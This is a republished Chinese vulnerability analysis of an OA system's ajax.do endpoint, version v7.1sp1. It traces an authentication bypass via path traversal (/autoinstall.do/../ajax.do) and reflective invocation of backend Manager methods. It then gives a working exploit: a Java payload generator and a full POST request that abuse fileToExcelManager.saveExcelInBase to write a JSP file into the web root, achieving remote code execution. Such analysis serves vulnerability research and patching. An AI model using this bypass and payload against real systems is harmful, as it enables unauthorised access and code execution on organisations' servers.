某OA ajax.do处漏洞分析
2023-11-18 09:22:11 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

本次分析版本v7.1sp1
/ajax.do可以调用其他类的方法,但ajax.do默认是不允许未授权访问的

登录后访问是这样子的

权限绕过

观察web.xml发现.do结尾的路由会经过SecurityFilter

CTPSecurityFilter类中做了校验,首先调用isSpringController进行校验

isSpringController只要是.do结尾的或者包含.do;jsessionid都会返回true

然后调用SpringControllerAuthenticator#authenticate

authenticate方法中判断是否登录,未登录调用this.isNeedlessCheckLogin

isNeedlessCheckLogin中,如果路由是/ajax.do,会将accessUrl设置为managerName参数的值,这里没有传入,就是null

然后获取needlessUrlMap

遍历判断accessUrl是否在这个map中

accessUrl为null的时候直接抛出异常了,传个managerName进行测试

isNeedlessCheckLogin返回false后赋值给isAnnotationNeedlessLogin,会调用到this.checkOnlineState

因为没有登录,所以checkOnlineState也会返回false

最后造成SpringControllerAuthenticator#authenticate返回false赋值给accept

当accept为false时,将不会进行filter链的调用

思考:在isNeedlessCheckLogin方法中,因为accessUrl不在needlessUrlMap中,导致返回false,那么使accessUrl为needlessUrlMap中存在的key,是否就会返回true,例如:/main.do

那么ajax.do不在needlessUrlMap中,如何能够访问到ajax.do呢,可以利用spring的一个小trick,在低版本spring中alwaysUseFullPath为默认值false,本次分析版本中刚好alwaysUseFullPath也为false

当alwaysUseFullPath为false时,会调用getPathWithinServletMapping对url进行处理

而getPathWithinServletMapping会对uri进行标准化处理,例如解码然后处理跨目录等,这就导致了可能的身份验证绕过
成功绕过

ajax.do调用流程

接下来分析ajax.do是如何调用类的
/ajax.do对应的是com.seeyon.ctp.common.service.AjaxController类

调用其他类的逻辑主要在ajaxAction方法中

返回的字符是outStr,outStr调用了invokeService方法进行处理,接着如果传入了ClientRequestPath参数且不为黑名单的,会调用ZipUtil.compressResponse进行解压缩

跟进invokeService方法,首先分别获取serviceName、methodName、strArgs、compressType,然后根据传入的compressType,调用ZipUtil.uncompressRequest对strArgs进行处理

跟进uncompressRequest,可以看到,如果compressType是gzip的话会进行gzip解压缩,如果不是的话,就会返回原本的数据

回到invokeService方法,根据传入的serviceName调用getService方法,然后返回一个对象

跟进getService方法,调用了AppContext.getBean方法来获取对象

跟进getBean方法,从beanCacheMap中获取缓存好的对象

beanCacheMap中存放了Manager的名字和对应的对象

回到getService方法,获取到对象后,还会判断其是否继承DataSource、Session、SessionFactory三个类,并且不为空,满足条件后return

返回invokeService方法,获取到对象后,会调用invokeMethod方法,传入获取到的对象、方法名、参数、类名

跟进invokeMethod方法,先将传入的strArgs参数解析成了Object对象,接着判断这个对象是否为List子类的实例,是的话会将Object强制转换成List对象,否则就会创建一个ArrayList对象。然后将传入的Object添加到ArrayList中

经接着会将serviceName + "" + methodName + "" + argsNum作为键值在this.candidateMethodCache中获取已经缓存的方法,返回一个list,如果获取到则会将传入的strArgs和list作为参数调用this.findMethodAndArgs((List)l, (List)list)

没获取到的话,会调用this.judgeCandidate

judgeCandidate方法中会反射获取services的所有方法,有符合的方法名和符合的所需参数个数的话,就会将这个方法加入到list中,返回list

将返回的list作为参数,调用findMethodAndArgs方法

findMethodAndArgs方法中,返回具体的Method对象和参数

将键值加入缓存

反射调用对应的方法

总结:beanCacheMap中存放了Manager的名字和对应的对象,可以通过传参调用对象的任意方法

修改权限绕过

当利用权限绕过的方式尝试调用对应的Manager时,会发现绕不过去了

/main.do/../ajax.do?method=ajaxAction&managerName=constDefManager&managerMethod=listPage


进行调试分析,发现是因为传入了method参数后,method为ajaxAction

这里返回了false

key为/main.do时返回的方法中没有ajaxAction,导致没有匹配成功返回false,/main.do/../ajax.do因为没传method参数,method为index,而main.do时返回的方法中含有index,所以可以绕过

继续观察发现methods.contains("") || methods.contains(method),只要2个条件成立一个就行了,methods.contains("")就是表示needlessUrlMap.get(key)返回的methods中包含*就行了
而autoinstall.do刚好满足这个条件

所以可以利用autoinstall.do来进行权限绕过,利用ajax.do调用相应的Manager

/autoinstall.do/../ajax.do?method=ajaxAction&managerName=constDefManager&managerMethod=listPage

漏洞利用

有很多Manager都存在漏洞,这里简单提一个fileToExcelManager,其saveExcelInBase方法存在文件上传问题,从而造成rce
接受3个参数

保存文件,并没有对文件名进行校验

需要注意的是这里写入的文件,会在前后加入2个双引号,直接插入shell是不行的,解析不了,我们可以利用换行符和双引号来闭合前后的双引号,从而使中间的shell内容能够解析
构造payload

import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;

import java.net.URLEncoder;
import java.util.ArrayList;

public class fileToExcelManagerPayload {
    private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class);
    public static void main(String[] args) {

        DataRecord d = new DataRecord();
        String[] c = {"\"\r\n"+"<% out.println(\"ttttttttt\"); %>"+"\"\r\n"};
        d.setColumnName(c);
        String dd = JSONUtil.toJSONString(d);
        final ArrayList<Object> list = new ArrayList<>();
        list.add("../webapps/ROOT/x.jsp");
        list.add("\"\"");
        list.add(d);
        final String list1 = JSONUtil.toJSONString(list);
        String strArgs = ZipUtil.compressResponse(list1, "gzip", "UTF-8", LOGGER);
        System.out.println(URLEncoder.encode(strArgs));
        System.out.println("end");

    }
}

POST /seeyon/autoinstall.do/../ajax.do?method=ajaxAction&managerName=fileToExcelManager HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 6357

managerMethod=saveExcelInBase&managerName=fileToExcelManager&method=ajaxAction&requestCompress=gzip&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00%5D%C2%8D%C3%81%0A%C3%820%10D%7F%C2%A5%2C%14%14B%C3%A2%C2%B9%C2%8A%C3%A7%1E%C3%84%C2%82%14%3C4%3D%C2%A46%C3%98H%C2%9A%C2%84dC%05%C3%B1%C3%9FM%09zp%C3%B64%C2%8F%C3%A5M%07%C2%94%C2%B2E%0E%C3%82%C2%B9%C3%80.M%C3%93%C2%B2%27%7D%04%07%04x%3A+%2F%C2%B8Y%1Dgs%16%C2%B3%C2%84%C2%AA%5B%C2%A9%C3%A7%C3%A6P%166%22u%5E%19%C3%94f%C3%83%01%C2%BF%C3%A1%C2%B0%C3%9D%17%C3%A51%C2%BFAO%60%14%28j%29%C3%86%C2%93%0A%C2%98%04%C2%89d%C3%A1U%C3%A1%04%C2%95%C2%89Z%13%08%C2%93%C2%94%C2%98%172%40%C2%85%C3%BAWB%1C%C3%9A%C2%BF%5EKu%C2%9F%C2%92nG%C3%80%C3%9Be%C3%95%C2%BE%C3%BB%0F%C3%8BJZ%C2%B7%C3%8A%00%00%00



文章来源: https://xz.aliyun.com/t/13064
如有侵权请联系:admin#unsafe.sh